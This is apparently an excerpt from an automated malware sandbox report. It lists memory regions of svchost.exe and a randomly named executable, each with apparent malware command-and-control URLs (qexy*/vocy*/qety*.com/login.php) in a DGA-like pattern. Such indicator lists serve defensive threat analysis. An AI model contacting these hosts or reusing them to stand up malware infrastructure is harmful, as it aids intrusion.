Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647496494.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qetylip.com/login.php
Source: svchost.exe, 00000002.00000003.2329963433.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328865580.0000000003315000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329926664.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328162774.0000000003315000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qetynev.com/
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329971226.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qetynev.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363422290.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363692365.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2362592176.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qetyqag.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qetyrul.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647496494.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qetytav.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379463124.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2913582701.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2908725007.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905696441.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3421967691.00000000040FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qetytup.com/login.php
Source: svchost.exe, 00000002.00000003.2612263098.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578250611.00000000040F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2585897260.00000000040F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qetyvil.com/H
Source: svchost.exe, 00000002.00000003.2612263098.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2585897260.00000000040F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qetyvil.com/yvLMEM
Source: svchost.exe, 00000002.00000003.2498726255.000000000085D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qexyfel.com/
Source: svchost.exe, 00000002.00000003.2509683984.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311968303.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2527939785.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2523187509.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310767470.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2512099666.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2506997946.0000000003363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qexyfel.com/login.php
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qexyfuq.com/login.php
Source: svchost.exe, 00000002.00000003.2667584330.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qexyfuq.com/pg
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qexyhap.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376002854.000000000923B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2896263867.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2913582701.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qexykav.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197653218.0000000009298000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388042380.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202867008.0000000009299000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.0000000000802000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2640207678.0000000001363000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2856769526.0000000008FC3000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2676238100.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2875818807.00000000091FC000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000018.00000002.2901602167.0000000008BD5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://qexylup.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qexynol.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qexyqip.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336882213.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qexyriq.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2729337658.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746888339.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2829874698.000000000084D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2735954545.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qexysev.com/login.php
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310815345.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311968303.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310767470.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vocybam.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2846625879.00000000040FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2843959514.00000000040FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2809409371.00000000040ED000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2849287050.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2908725007.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3421967691.00000000040FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2814428917.00000000040FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vocybuf.com/login.php
Source: svchost.exe, 00000002.00000003.2637865779.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635608953.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329969836.0000000003360000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vocycuc.com/login.php
Source: svchost.exe, 00000002.00000003.2359792353.000000000924A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360483972.000000000924A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vocydyc.com/http://gahyziw.com/
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vocydyc.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3419128942.000000000336B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2927397659.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427392798.000000000927C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388806823.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3279511546.0000000003369000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928459922.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vocygef.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vocygim.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vocyjet.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vocymak.com/login.php
Source: svchost.exe, 00000002.00000003.2289346650.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2287542216.0000000003330000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2292259372.0000000003332000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2496966130.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2289345179.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vocymut.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329971226.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329969836.0000000003360000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vocypyt.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2896263867.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vocyqot.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178415911.00000000033F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197653218.0000000009298000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388042380.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202867008.0000000009299000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2649196751.00000000091F7000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E20000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2572564754.0000000000FB2000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.00000000014D8000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.0000000009360000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vocyruk.com/login.php
Source: svchost.exe, 00000002.00000003.2587482853.00000000033CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vocyzek.com/http://gatyviw.com/
Source: svchost.exe, 00000002.00000003.2377062429.0000000003357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375028226.00000000033EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vofybet.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vofycyk.com/login.php
Source: svchost.exe, 00000002.00000003.2885524752.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2377062429.0000000003357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vofydak.com/login.php
